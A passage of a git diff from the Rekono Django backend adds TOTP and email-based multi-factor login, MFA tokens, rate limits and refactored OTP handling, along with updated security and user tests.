+ + \ No newline at end of file diff --git a/src/backend/platforms/telegram_app/serializers.py b/src/backend/platforms/telegram_app/serializers.py index 8344da20e..e3d3622bc 100644 --- a/src/backend/platforms/telegram_app/serializers.py +++ b/src/backend/platforms/telegram_app/serializers.py @@ -58,9 +58,7 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: user=None, ) except TelegramChat.DoesNotExist: - raise AuthenticationFailed( - "Invalid Telegram OTP", code=status.HTTP_401_UNAUTHORIZED - ) + raise AuthenticationFailed(code=status.HTTP_401_UNAUTHORIZED) return attrs def create(self, validated_data: Dict[str, Any]) -> TelegramChat: diff --git a/src/backend/rekono/properties.py b/src/backend/rekono/properties.py index d0e33ed8b..70a567372 100644 --- a/src/backend/rekono/properties.py +++ b/src/backend/rekono/properties.py @@ -16,6 +16,7 @@ class Property(Enum): ) TRUSTED_PROXY = ("RKN_TRUSTED_PROXY", None, False) OTP_EXPIRATION_HOURS = (None, None, 24) + MFA_EXPIRATION_MINUTES = (None, None, 15) DB_NAME = ("RKN_DB_NAME", "database.name", "rekono") DB_USER = ("RKN_DB_USER", "database.user", "") DB_PASSWORD = ("RKN_DB_PASSWORD", "database.password", "") diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index b34454c5a..e68859c99 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -156,6 +156,7 @@ "UPDATE_LAST_LOGIN": True, "ALGORITHM": "HS512", "SIGNING_KEY": SECRET_KEY, + "ISSUER": "Rekono", } LOGGING = { @@ -245,6 +246,8 @@ "login": "30/min", # The frontend can generate many refresh requests for the same user "refresh": "30/min", + # It has to be hard enough to prevent brute force attacks + "mfa": "5/min", }, } ) diff --git a/src/backend/rekono/views.py b/src/backend/rekono/views.py index f8ada4171..0dc25a7f0 100644 --- a/src/backend/rekono/views.py +++ b/src/backend/rekono/views.py @@ -28,15 +28,15 @@ class RQStatsView(APIView): name="RQStats", fields={ "executions": inline_serializer( - name="QueueStats", + name="ExecutionStats", fields={k: serializers.IntegerField() for k in exposed_fields}, ), "findings": inline_serializer( - name="QueueStats", + name="FindingsStats", fields={k: serializers.IntegerField() for k in exposed_fields}, ), "tasks": inline_serializer( - name="QueueStats", + name="TasksStats", fields={k: serializers.IntegerField() for k in exposed_fields}, ), }, diff --git a/src/backend/requirements.txt b/src/backend/requirements.txt index 309b81fd4..dfa5fa8ae 100644 --- a/src/backend/requirements.txt +++ b/src/backend/requirements.txt @@ -11,6 +11,7 @@ drf-spectacular==0.27.0 pycryptodome==3.19.0 psycopg2-binary==2.9.9 pyjwt==2.8.0 +pyotp==2.9.0 python-magic==0.4.27 python-libnmap==0.7.3 python-telegram-bot==20.7 diff --git a/src/backend/security/authentication/api.py b/src/backend/security/authentication/api.py index 094bdbf3d..d774ac16d 100644 --- a/src/backend/security/authentication/api.py +++ b/src/backend/security/authentication/api.py @@ -1,10 +1,10 @@ from typing import Any, Tuple +from api_tokens.models import ApiToken from django.utils import timezone +from rest_framework import status from rest_framework.authentication import TokenAuthentication from rest_framework.exceptions import AuthenticationFailed - -from api_tokens.models import ApiToken from security.cryptography.hashing import hash @@ -14,5 +14,5 @@ class ApiAuthentication(TokenAuthentication): def authenticate_credentials(self, key) -> Tuple[Any, Any]: user, token = super().authenticate_credentials(hash(key)) if token.expiration and token.expiration < timezone.now(): - raise AuthenticationFailed("API token has expired") + raise AuthenticationFailed(code=status.HTTP_401_UNAUTHORIZED) return user, token diff --git a/src/backend/security/authentication/serializers.py b/src/backend/security/authentication/serializers.py index d197df16f..886f48313 100644 --- a/src/backend/security/authentication/serializers.py +++ b/src/backend/security/authentication/serializers.py @@ -1,29 +1,101 @@ import logging from typing import Any, Dict -from rest_framework_simplejwt.serializers import TokenObtainPairSerializer - +from django.core.exceptions import ValidationError +from framework.serializers import MfaSerializer from platforms.mail.notifications import SMTP +from rekono.settings import CONFIG +from rest_framework import status +from rest_framework.exceptions import AuthenticationFailed +from rest_framework.permissions import IsAuthenticated +from rest_framework.serializers import CharField, Serializer +from rest_framework_simplejwt.serializers import ( + TokenObtainPairSerializer, + TokenObtainSerializer, +) +from rest_framework_simplejwt.token_blacklist.models import OutstandingToken +from security.authentication.tokens import MfaRequiredToken from security.authorization.roles import Role from users.models import User logger = logging.getLogger() -class LoginSerializer(TokenObtainPairSerializer): - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - attrs = super().validate(attrs) - User.objects.invalidate_all_tokens(self.user, exclude_latest=True) +class JwtAuthentication: + user: User = None + + def _login(self) -> Dict[str, str]: + User.objects.invalidate_all_tokens(self.user) + token = self.__class__.get_token(self.user) SMTP().login_notification(self.user) logger.info( f"[Security] User {self.user.id} has logged in", extra={"user": self.user.id}, ) - return attrs + return {"access": str(token.access_token), "refresh": str(token)} @classmethod def get_token(cls, user: User) -> Any: - token = super().get_token(user) + token = TokenObtainPairSerializer.get_token(user) group = user.groups.first() token["role"] = group.name if group else Role.READER.value return token + + @classmethod + def get_mfa_required_token(cls, user: User) -> Any: + return MfaRequiredToken.for_user(user) + + +class LoginSerializer(JwtAuthentication, TokenObtainSerializer): + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + super().validate(attrs) + return ( + {"mfa": str(self.__class__.get_mfa_required_token(self.user))} + if self.user.mfa + else self._login() + ) + + +class BaseMfaRequiredSerializer(Serializer): + token = CharField() + + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + attrs = super().validate(attrs) + if attrs.get("token"): + try: + self.token = OutstandingToken.objects.get(token=attrs.get("token")) + self.user = self.token.user + except Exception: + raise AuthenticationFailed(code=status.HTTP_401_UNAUTHORIZED) + if not self.user.mfa: + raise ValidationError("MFA is not enabled yet for this user", code="mfa") + return attrs + + +class SendMfaEmailSerializer(BaseMfaRequiredSerializer): + token = CharField(required=False) + + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + is_authenticated = IsAuthenticated().has_permission( + self.context.get("request"), None + ) + if not is_authenticated and not attrs.get("token"): + raise ValidationError("Token is required", code="token") + elif is_authenticated: + self.user = self.context.get("request").user + return super().validate(attrs) + + def save(self, **kwargs: Any) -> User: + mfa = User.objects.setup_otp( + self.user, {"minutes": CONFIG.mfa_expiration_minutes} + ) + SMTP().mfa(self.user, mfa) + return self.user + + +class MfaLoginSerializer(MfaSerializer, BaseMfaRequiredSerializer, JwtAuthentication): + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + super().validate(attrs) + if self.user.otp: + User.objects.remove_otp(self.user) + return self._login() diff --git a/src/backend/security/authentication/tokens.py b/src/backend/security/authentication/tokens.py new file mode 100644 index 000000000..2581259b1 --- /dev/null +++ b/src/backend/security/authentication/tokens.py @@ -0,0 +1,7 @@ +from rekono.settings import SIMPLE_JWT +from rest_framework_simplejwt.tokens import BlacklistMixin, Token + + +class MfaRequiredToken(BlacklistMixin, Token): + token_type = "mfa_required" + lifetime = SIMPLE_JWT["ACCESS_TOKEN_LIFETIME"] diff --git a/src/backend/security/authentication/urls.py b/src/backend/security/authentication/urls.py index a48a2095a..e50d05d9b 100644 --- a/src/backend/security/authentication/urls.py +++ b/src/backend/security/authentication/urls.py @@ -1,14 +1,18 @@ from django.urls import path from rest_framework_simplejwt.views import TokenBlacklistView - -from security.authentication.views import LoginViewSet, RefreshTokenViewSet - -# Register your views here. +from security.authentication.views import ( + LoginView, + MfaLoginView, + RefreshTokenViewSet, + SendEmailMfaView, +) urlpatterns = [ - path("security/login/", LoginViewSet.as_view(), name="login"), + path("security/login/", LoginView.as_view(), name="login"), path( "security/refresh-token/", RefreshTokenViewSet.as_view(), name="refresh-token" ), + path("security/mfa/", MfaLoginView.as_view(), name="mfa"), + path("security/mfa/email/", SendEmailMfaView.as_view(), name="send-email-mfa"), path("security/logout/", TokenBlacklistView.as_view(), name="logout"), ] diff --git a/src/backend/security/authentication/views.py b/src/backend/security/authentication/views.py index 9b970fbb6..a1f390998 100644 --- a/src/backend/security/authentication/views.py +++ b/src/backend/security/authentication/views.py @@ -1,15 +1,42 @@ -from rest_framework_simplejwt.views import TokenObtainPairView, TokenRefreshView +from typing import Any +from drf_spectacular.utils import extend_schema +from rest_framework import status +from rest_framework.generics import GenericAPIView +from rest_framework.request import Request +from rest_framework.response import Response +from rest_framework_simplejwt.views import TokenObtainPairView, TokenRefreshView +from security.authentication.serializers import ( + MfaLoginSerializer, + SendMfaEmailSerializer, +) from security.authorization.permissions import IsNotAuthenticated -class LoginViewSet(TokenObtainPairView): - """Token ViewSet that includes the user login (get access and refresh token).""" - +class LoginView(TokenObtainPairView): permission_classes = [IsNotAuthenticated] # type: ignore throttle_scope = "login" +class MfaLoginView(LoginView): + serializer_class = MfaLoginSerializer + throttle_scope = "mfa" + + +class SendEmailMfaView(GenericAPIView): + permission_classes = [] # type: ignore + throttle_scope = "mfa" + + @extend_schema(request=SendMfaEmailSerializer, responses={204: None}) + def post(self, request: Request, *args: Any, **kwargs: Any) -> Response: + serializer = SendMfaEmailSerializer( + data=request.data, context={"request": request} + ) + serializer.is_valid(raise_exception=True) + serializer.save() + return Response(status=status.HTTP_204_NO_CONTENT) + + class RefreshTokenViewSet(TokenRefreshView): """Token ViewSet that includes the refresh access token feature.""" diff --git a/src/backend/tests/cases.py b/src/backend/tests/cases.py index 6eb255574..61c82eac2 100644 --- a/src/backend/tests/cases.py +++ b/src/backend/tests/cases.py @@ -29,11 +29,17 @@ class ApiTestCase(RekonoTestCase): format: str = "json" def _login(self, username: str, password: str) -> Tuple[str, str]: - response = APIClient().post( - "/api/security/login/", - data={"username": username, "password": password}, + content = json.loads( + ( + APIClient() + .post( + "/api/security/login/", + data={"username": username, "password": password}, + ) + .content + or "{}".encode() + ).decode() ) - content = json.loads((response.content or "{}".encode()).decode()) return content.get("access"), content.get("refresh") def _check_response_content( diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index 141e32027..58af81853 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -340,9 +340,9 @@ def test_str(self) -> None: def test_anonymous_access(self) -> None: if self.anonymous_allowed is not None and self.endpoint: - response = APIClient().get(self.endpoint) self.assertEqual( - 200 if self.anonymous_allowed else 401, response.status_code + 200 if self.anonymous_allowed else 401, + APIClient().get(self.endpoint).status_code, ) diff --git a/src/backend/tests/test_security.py b/src/backend/tests/test_security.py index b768443de..c0d26450a 100644 --- a/src/backend/tests/test_security.py +++ b/src/backend/tests/test_security.py @@ -1,16 +1,20 @@ import time from datetime import datetime, timedelta +import pyotp from django.utils import timezone - from tests.cases import ApiTestCase from tests.framework import ApiTest +from users.models import User class SecurityTest(ApiTest): refresh = "/api/security/refresh-token/" logout = "/api/security/logout/" api_tokens = "/api/api-tokens/" + mfa_login = "/api/security/mfa/" + mfa_user = "/api/profile/mfa/" + profile = "/api/profile/" cases = [ ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], @@ -38,10 +42,12 @@ def test_refresh_and_logout(self) -> None: self.assertEqual(self.admin1.username, content.get("username")) # Try to refresh tokens using an invalid refresh token - response = authenticated_client.post( - self.refresh, data={"refresh": "invalid refresh token"} + self.assertEqual( + 401, + authenticated_client.post( + self.refresh, data={"refresh": "invalid refresh token"} + ).status_code, ) - self.assertEqual(401, response.status_code) # Refresh tokens response = authenticated_client.post( @@ -65,16 +71,20 @@ def test_refresh_and_logout(self) -> None: self.assertEqual(self.admin1.username, content.get("username")) # Logout - response = authenticated_client.post( - self.logout, {"refresh": second_authentication["refresh"]} + self.assertEqual( + 200, + authenticated_client.post( + self.logout, {"refresh": second_authentication["refresh"]} + ).status_code, ) - self.assertEqual(200, response.status_code) # Try to refresh tokens after logout - response = authenticated_client.post( - self.refresh, data={"refresh": second_authentication["refresh"]} + self.assertEqual( + 401, + authenticated_client.post( + self.refresh, data={"refresh": second_authentication["refresh"]} + ).status_code, ) - self.assertEqual(401, response.status_code) def test_api_authentication(self) -> None: # Login as admin1 @@ -96,13 +106,13 @@ def test_api_authentication(self) -> None: }, ) self.assertEqual(201, response.status_code) - content = self._get_content(response.content) - api_client = self._get_api_client(token=content["key"]) + api_client = self._get_api_client( + token=self._get_content(response.content)["key"] + ) time.sleep(3) # Try to get admin1's profile using an expired token - response = api_client.get(self.profile) - self.assertEqual(401, response.status_code) + self.assertEqual(401, api_client.get(self.profile).status_code) # Create other API token response = access_client.post( @@ -123,10 +133,200 @@ def test_api_authentication(self) -> None: self.assertEqual(self.admin1.id, content.get("id")) self.assertEqual(self.admin1.username, content.get("username")) + # MFA endpoints are not callable by using an API token + for mfa_endpoint in ["register", "enable", "disable"]: + self.assertEqual( + 401, api_client.post(f"{self.mfa_user}{mfa_endpoint}/").status_code + ) + # Remove API token - response = api_client.delete(f"{self.api_tokens}{api_token_content['id']}/") - self.assertEqual(204, response.status_code) + self.assertEqual( + 204, + api_client.delete( + f"{self.api_tokens}{api_token_content['id']}/" + ).status_code, + ) # Try to get admin1's profile using the removed API token - response = api_client.get(self.profile) - self.assertEqual(401, response.status_code) + self.assertEqual(401, api_client.get(self.profile).status_code) + + def test_mfa(self) -> None: + anonymous_client = self._get_api_client() + # Login as admin1 + response = anonymous_client.post( + self.login, + data={"username": self.admin1.username, "password": self.admin1.username}, + ) + self.assertEqual(200, response.status_code) + access_client = self._get_api_client( + self._get_content(response.content)["access"] + ) + + # Check current profile + response = access_client.get(self.profile) + self.assertEqual(200, response.status_code) + self.assertFalse(self._get_content(response.content).get("mfa")) + + # Before registering MFA, it can't be enabled + self.assertEqual( + 400, + access_client.post( + f"{self.mfa_user}enable/", data={"mfa": "111111"} + ).status_code, + ) + + # Register MFA app + self.assertEqual( + 200, access_client.post(f"{self.mfa_user}register/").status_code + ) + # Invalid MFA + self.assertEqual( + 401, + access_client.post( + f"{self.mfa_user}enable/", data={"mfa": "1111111"} + ).status_code, + ) + # Valid MFA + self.admin1 = User.objects.get(pk=self.admin1.id) + mfa_otp = pyotp.TOTP(self.admin1.secret) + response = access_client.post( + f"{self.mfa_user}enable/", data={"mfa": mfa_otp.now()} + ) + self.assertEqual(200, response.status_code) + self.assertTrue(self._get_content(response.content).get("mfa")) + + # After enabling MFA, it can't be registered again + self.assertEqual( + 400, access_client.post(f"{self.mfa_user}register/").status_code + ) + + # After enabling MFA, it can't be enabled again + self.assertEqual( + 400, + access_client.post( + f"{self.mfa_user}enable/", data={"mfa": mfa_otp.now()} + ).status_code, + ) + + # Login with MFA app + response = anonymous_client.post( + self.login, + data={"username": self.admin1.username, "password": self.admin1.username}, + ) + self.assertEqual(200, response.status_code) + content = self._get_content(response.content) + self.assertIsNotNone(content.get("mfa")) + # Partial authenticated token is not valid to access API + self.assertEqual( + 401, self._get_api_client(content.get("mfa")).get(self.profile).status_code + ) + # Invalid token + self.assertEqual( + 401, + anonymous_client.post( + self.mfa_login, data={"token": "invalid JWT", "mfa": mfa_otp.now()} + ).status_code, + ) + # Invalid MFA + self.assertEqual( + 401, + anonymous_client.post( + self.mfa_login, data={"token": content.get("mfa"), "mfa": "1111111"} + ).status_code, + ) + # Valid token and MFA + response = anonymous_client.post( + self.mfa_login, data={"token": content.get("mfa"), "mfa": mfa_otp.now()} + ) + self.assertEqual(200, response.status_code) + content = self._get_content(response.content) + self.assertIsNotNone(content.get("access")) + access_client = self._get_api_client(content.get("access")) + self.assertEqual(200, access_client.get(self.profile).status_code) + + # Login with email MFA + response = anonymous_client.post( + self.login, + data={"username": self.admin1.username, "password": self.admin1.username}, + ) + self.assertEqual(200, response.status_code) + content = self._get_content(response.content) + self.assertIsNotNone(content.get("mfa")) + # Partial authenticated token is not valid to access API + self.assertEqual( + 401, self._get_api_client(content.get("mfa")).get(self.profile).status_code + ) + # Request MFA via email + self.assertEqual( + 400, anonymous_client.post(f"{self.mfa_login}email/").status_code + ) + self.assertEqual( + 204, + anonymous_client.post( + f"{self.mfa_login}email/", data={"token": content.get("mfa")} + ).status_code, + ) + plain_otp = User.objects.setup_otp(self.admin1) + # Invalid token + self.assertEqual( + 401, + anonymous_client.post( + self.mfa_login, data={"token": "invalid JWT", "mfa": plain_otp} + ).status_code, + ) + # Invalid MFA + self.assertEqual( + 401, + anonymous_client.post( + self.mfa_login, data={"token": content.get("mfa"), "mfa": "1111111"} + ).status_code, + ) + # Valid token and MFA + response = anonymous_client.post( + self.mfa_login, data={"token": content.get("mfa"), "mfa": plain_otp} + ) + self.assertEqual(200, response.status_code) + content = self._get_content(response.content) + self.assertIsNotNone(content.get("access")) + access_client = self._get_api_client(content.get("access")) + self.assertEqual(200, access_client.get(self.profile).status_code) + + # After login with email MFA, disable MFA + self.assertEqual(204, access_client.post(f"{self.mfa_login}email/").status_code) + plain_otp = User.objects.setup_otp(self.admin1) + # Invalid MFA + self.assertEqual( + 401, + access_client.post( + f"{self.mfa_user}disable/", data={"mfa": "1111111"} + ).status_code, + ) + # Valid MFA + response = access_client.post( + f"{self.mfa_user}disable/", data={"mfa": plain_otp} + ) + self.assertEqual(200, response.status_code) + self.assertFalse(self._get_content(response.content).get("mfa")) + + # After disabling MFA, request MFA via email + self.assertEqual(400, access_client.post(f"{self.mfa_login}email/").status_code) + + # After disabling MFA, it can't be disabled again + self.assertEqual( + 400, + access_client.post( + f"{self.mfa_user}disable/", data={"mfa": plain_otp} + ).status_code, + ) + + # After disabling MFA, login again + response = anonymous_client.post( + self.login, + data={"username": self.admin1.username, "password": self.admin1.username}, + ) + self.assertEqual(200, response.status_code) + response = self._get_api_client( + self._get_content(response.content)["access"] + ).get(self.profile) + self.assertEqual(200, response.status_code) + self.assertFalse(self._get_content(response.content).get("mfa")) diff --git a/src/backend/tests/test_users.py b/src/backend/tests/test_users.py index 72e6aa6f8..28a606f42 100644 --- a/src/backend/tests/test_users.py +++ b/src/backend/tests/test_users.py @@ -3,7 +3,6 @@ from platforms.mail.notifications import SMTP from platforms.telegram_app.models import TelegramChat from security.authorization.roles import Role -from security.cryptography.hashing import hash from tests.cases import ApiTestCase from tests.framework import ApiTest from users.enums import Notification @@ -378,22 +377,25 @@ def test_invite_and_create(self) -> None: self._get_content(response.content)["access"] ) - response = authenticated_client.post(self.endpoint, data=invitation1) - self.assertEqual(201, response.status_code) + self.assertEqual( + 201, authenticated_client.post(self.endpoint, data=invitation1).status_code + ) new_user = User.objects.get(email=invitation1["email"]) - otp = User.objects.generate_otp() - new_user.otp = hash(otp) - new_user.save(update_fields=["otp"]) + otp = User.objects.setup_otp(new_user) - response = authenticated_client.post( - f"{self.endpoint}create/", data={"otp": otp, **user1} + self.assertEqual( + 403, + authenticated_client.post( + f"{self.endpoint}create/", data={"otp": otp, **user1} + ).status_code, ) - self.assertEqual(403, response.status_code) - response = client.post( - f"{self.endpoint}create/", data={"otp": "invalid otp", **user1} + self.assertEqual( + 401, + client.post( + f"{self.endpoint}create/", data={"otp": "invalid otp", **user1} + ).status_code, ) - self.assertEqual(401, response.status_code) for invalid_user in [ invalid_user1, @@ -403,15 +405,21 @@ def test_invite_and_create(self) -> None: invalid_user5, invalid_user6, ]: - response = client.post( - f"{self.endpoint}create/", data={"otp": otp, **invalid_user} + self.assertEqual( + 400, + client.post( + f"{self.endpoint}create/", data={"otp": otp, **invalid_user} + ).status_code, ) - self.assertEqual(400, response.status_code) new_user.is_active = True new_user.save(update_fields=["is_active"]) - response = client.post(f"{self.endpoint}create/", data={"otp": otp, **user1}) - self.assertEqual(401, response.status_code) + self.assertEqual( + 401, + client.post( + f"{self.endpoint}create/", data={"otp": otp, **user1} + ).status_code, + ) new_user.is_active = None new_user.save(update_fields=["is_active"]) @@ -421,11 +429,13 @@ def test_invite_and_create(self) -> None: self.assertEqual(7, content["id"]) self.assertTrue(content["is_active"]) - response = client.post( - f"{self.endpoint}create/", - data={"otp": otp, **user1, "username": "unique new test"}, + self.assertEqual( + 401, + client.post( + f"{self.endpoint}create/", + data={"otp": otp, **user1, "username": "unique new test"}, + ).status_code, ) - self.assertEqual(401, response.status_code) response = client.post( self.login, @@ -436,8 +446,7 @@ def test_invite_and_create(self) -> None: self._get_content(response.content)["access"] ) - response = authenticated_client.get(self.profile) - self.assertEqual(200, response.status_code) + self.assertEqual(200, authenticated_client.get(self.profile).status_code) def test_create_superuser(self) -> None: value = "superuser" @@ -488,21 +497,21 @@ class Profile(ApiTest): "put", 401, {"password": new_valid_password, "old_password": "invalid password"}, - endpoint="/api/security/update-password/", + endpoint="/api/profile/update-password/", ), ApiTestCase( ["admin1"], "put", 400, {"password": invalid_password1, "old_password": "admin1"}, - endpoint="/api/security/update-password/", + endpoint="/api/profile/update-password/", ), ApiTestCase( ["admin1"], "put", 200, {"password": new_valid_password, "old_password": "admin1"}, - endpoint="/api/security/update-password/", + endpoint="/api/profile/update-password/", ), ApiTestCase(["admin1"], "get", 401), ApiTestCase( @@ -564,11 +573,12 @@ def test_notification_scope(self) -> None: class ResetPasswordTest(ApiTest): - endpoint = "/api/security/reset-password/" + endpoint = "/api/users/reset-password/" anonymous_allowed = None def test_reset_password(self) -> None: - response = self._get_api_client().post( + client = self._get_api_client() + response = client.post( self.login, data={"username": self.admin1.username, "password": self.admin1.username}, ) @@ -577,55 +587,74 @@ def test_reset_password(self) -> None: self._get_content(response.content)["access"] ) - response = authenticated_client.post( - self.endpoint, data={"email": self.admin1.email} + self.assertEqual( + 403, + authenticated_client.post( + self.endpoint, data={"email": self.admin1.email} + ).status_code, ) - self.assertEqual(403, response.status_code) - client = self._get_api_client() - response = client.post(self.endpoint, data={"email": self.admin1.email}) - self.assertEqual(200, response.status_code) - user = User.objects.get(email=self.admin1.email) - otp = User.objects.generate_otp() - user.otp = hash(otp) - user.save(update_fields=["otp"]) + self.assertEqual( + 200, + client.post( + self.endpoint, data={"email": "notfound@rekono.com"} + ).status_code, + ) - response = client.put( - self.endpoint, data={"otp": "invalid OTP", "password": new_valid_password} + self.assertEqual( + 200, + client.post(self.endpoint, data={"email": self.admin1.email}).status_code, ) - self.assertEqual(401, response.status_code) + otp = User.objects.setup_otp(User.objects.get(email=self.admin1.email)) - response = client.put( - self.endpoint, - data={"otp": otp, "password": invalid_password2}, + self.assertEqual( + 401, + client.put( + self.endpoint, + data={"otp": "invalid OTP", "password": new_valid_password}, + ).status_code, ) - self.assertEqual(400, response.status_code) - response = authenticated_client.put( - self.endpoint, - data={"otp": otp, "password": new_valid_password}, + self.assertEqual( + 400, + client.put( + self.endpoint, + data={"otp": otp, "password": invalid_password2}, + ).status_code, ) - self.assertEqual(403, response.status_code) - response = client.put( - self.endpoint, - data={"otp": otp, "password": new_valid_password}, + self.assertEqual( + 403, + authenticated_client.put( + self.endpoint, + data={"otp": otp, "password": new_valid_password}, + ).status_code, ) - self.assertEqual(200, response.status_code) - response = client.put( - self.endpoint, - data={"otp": otp, "password": new_valid_password}, + self.assertEqual( + 200, + client.put( + self.endpoint, + data={"otp": otp, "password": new_valid_password}, + ).status_code, + ) + + self.assertEqual( + 401, + client.put( + self.endpoint, + data={"otp": otp, "password": new_valid_password}, + ).status_code, ) - self.assertEqual(401, response.status_code) response = self._get_api_client().post( self.login, data={"username": self.admin1.username, "password": new_valid_password}, ) self.assertEqual(200, response.status_code) - authenticated_client = self._get_api_client( - self._get_content(response.content)["access"] + self.assertEqual( + 200, + self._get_api_client(self._get_content(response.content)["access"]) + .get(self.profile) + .status_code, ) - response = authenticated_client.get(self.profile) - self.assertEqual(200, response.status_code) diff --git a/src/backend/users/models.py b/src/backend/users/models.py index db3b6394a..fd24ef7ae 100644 --- a/src/backend/users/models.py +++ b/src/backend/users/models.py @@ -1,18 +1,18 @@ import logging from datetime import datetime, timedelta -from typing import Any, cast +from typing import Any, Dict, Optional, cast +import pyotp from django.contrib.auth.models import AbstractUser, Group, UserManager from django.db import models from django.utils import timezone +from framework.models import BaseEncrypted +from platforms.mail.notifications import SMTP +from rekono.settings import CONFIG from rest_framework_simplejwt.token_blacklist.models import ( BlacklistedToken, OutstandingToken, ) - -from framework.models import BaseModel -from platforms.mail.notifications import SMTP -from rekono.settings import CONFIG from security.authentication.api import ApiToken from security.authorization.roles import Role from security.cryptography.hashing import hash @@ -38,8 +38,10 @@ def generate_otp(self, model: Any = None) -> str: return self.generate_otp(model) return otp - def get_otp_expiration_time(self) -> datetime: - return timezone.now() + timedelta(hours=CONFIG.otp_expiration_hours) + def get_otp_expiration_time( + self, time: Dict[str, int] = {"hours": CONFIG.otp_expiration_hours} + ) -> datetime: + return timezone.now() + timedelta(**time) def assign_role(self, user: Any, role: Role) -> None: """Initialize user, assigning it a role and creating its API token. @@ -161,24 +163,36 @@ def disable_user(self, user: Any) -> Any: logger.info(f"[User] User {user.id} has been disabled") return user - def request_password_reset(self, user: Any) -> Any: - """Request a password reset for an user. - - Args: - user (Any): User that requests its password reset + def _update_otp( + self, + user: Any, + otp: Optional[str] = None, + otp_expiration: Optional[datetime] = None, + ) -> Any: + user.otp = otp + user.otp_expiration = otp_expiration + user.save(update_fields=["otp", "otp_expiration"]) + return user - Returns: - Any: User after request password reset - """ + def setup_otp(self, user: Any, time: Optional[Dict[str, int]] = None) -> str: plain_otp = self.generate_otp() - user.otp = hash(plain_otp) - user.otp_expiration = self.get_otp_expiration_time() # Set OTP expiration - user.save(update_fields=["otp", "otp_expiration"]) - SMTP().reset_password(user, plain_otp) - logger.info( - f"[User] User {user.id} requested a password reset", extra={"user": user.id} + user = self._update_otp( + user, + hash(plain_otp), + self.get_otp_expiration_time(time) + if time is not None + else self.get_otp_expiration_time(), ) - return user + return plain_otp + + def remove_otp(self, user: Any) -> Any: + return self._update_otp(user) + + def verify_otp(self, otp: str, user: Optional[Any] = None) -> bool: + filter = {"otp": hash(otp), "otp_expiration__gt": timezone.now()} + if user: + filter["id"] = user.id + return User.objects.filter(**filter).first() def update_password(self, user: Any, password: str) -> Any: # nosemgrep: python.django.security.audit.unvalidated-password.unvalidated-password @@ -201,23 +215,33 @@ def reset_password(self, user: Any, password: str) -> Any: user.save(update_fields=["otp", "otp_expiration", "is_active"]) return user - def invalidate_all_tokens(self, user: Any, exclude_latest: bool = False) -> Any: - user_tokens = OutstandingToken.objects.filter(user=user) - tokens_to_remove = user_tokens.exclude( + def invalidate_all_tokens(self, user: Any) -> Any: + for token in OutstandingToken.objects.filter(user=user).exclude( id__in=BlacklistedToken.objects.filter(token__user=user).values_list( "token_id", flat=True ) - ) - if exclude_latest: - tokens_to_remove = tokens_to_remove.exclude( - token=user_tokens.order_by("-created_at").first().token - ) - for token in tokens_to_remove: + ): BlacklistedToken.objects.create(token=token) return user + def register_mfa(self, user: Any) -> str: + user.secret = pyotp.random_base32() + user.save(update_fields=["_mfa_key"]) + return pyotp.totp.TOTP(user.secret).provisioning_uri( + user.email, issuer_name="Rekono" + ) + + def verify_mfa(self, otp: str, user: Any) -> bool: + return pyotp.TOTP(user.secret).verify(otp) + + def verify_mfa_or_otp(self, otp: str, user: Any) -> bool: + mfa_verification = self.verify_mfa(otp, user) + if not mfa_verification and user.mfa: + return self.verify_otp(otp, user) is not None + return mfa_verification -class User(AbstractUser, BaseModel): + +class User(AbstractUser, BaseEncrypted): """User model.""" # Main user data @@ -243,7 +267,7 @@ class User(AbstractUser, BaseModel): email = models.EmailField(max_length=150, unique=True) is_active = models.BooleanField(blank=True, null=True, default=None) - # One Time Password used to invite and enable users, or reset passwords + # One Time Password used to invite and enable users or reset passwords and MFA via email otp = models.TextField(max_length=200, blank=True, null=True) otp_expiration = models.DateTimeField( blank=True, @@ -251,6 +275,11 @@ class User(AbstractUser, BaseModel): validators=[FutureDatetimeValidator(code="otp_expiration")], ) + _mfa_key = models.TextField( + max_length=40, blank=True, null=True, db_column="mfa_key" + ) + mfa = models.BooleanField(default=False) + notification_scope = models.TextField( # User notification preferences max_length=18, choices=Notification.choices, default=Notification.MY_EXECUTIONS ) @@ -263,6 +292,7 @@ class User(AbstractUser, BaseModel): EMAIL_FIELD = "email" REQUIRED_FIELDS = ["email"] objects = RekonoUserManager() # Model manager + _encrypted_field = "_mfa_key" def __str__(self) -> str: """Instance representation in text format. diff --git a/src/backend/users/serializers.py b/src/backend/users/serializers.py index 27e1c239d..ad8b232a7 100644 --- a/src/backend/users/serializers.py +++ b/src/backend/users/serializers.py @@ -2,8 +2,9 @@ from typing import Any, Dict from django.contrib.auth.password_validation import validate_password -from django.utils import timezone +from framework.serializers import MfaSerializer from http_headers.serializers import SimpleHttpHeaderSerializer +from platforms.mail.notifications import SMTP from platforms.telegram_app.notifications.notifications import Telegram from rest_framework import status from rest_framework.exceptions import AuthenticationFailed @@ -14,9 +15,9 @@ EmailField, ModelSerializer, Serializer, + URLField, ) from security.authorization.roles import Role -from security.cryptography.hashing import hash from users.models import User logger = logging.getLogger() @@ -118,6 +119,7 @@ class Meta: "email", "date_joined", "last_login", + "mfa", "role", "telegram_chat", "notification_scope", @@ -130,6 +132,7 @@ class Meta: "email", "date_joined", "last_login", + "mfa", "role", "telegram_chat", "http_headers", @@ -153,21 +156,15 @@ class Meta: fields = ("otp",) def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - try: - # Search inactive user by otp and check expiration datetime - user = User.objects.get( - otp=hash(attrs.get("otp")), otp_expiration__gt=timezone.now() - ) - except User.DoesNotExist: # Invalid otp - raise AuthenticationFailed( - "Invalid OTP value", code=status.HTTP_401_UNAUTHORIZED - ) attrs = super().validate(attrs) + user = User.objects.verify_otp(attrs.get("otp")) + if not user: + raise AuthenticationFailed(code=status.HTTP_401_UNAUTHORIZED) attrs["user"] = user return attrs -class CreateUserSerializer(PasswordSerializer, OTPSerializer): +class CreateUserSerializer(OTPSerializer, PasswordSerializer): """Serializer to create an user via API after email invitation.""" class Meta: @@ -195,9 +192,7 @@ def validate(self, attrs: 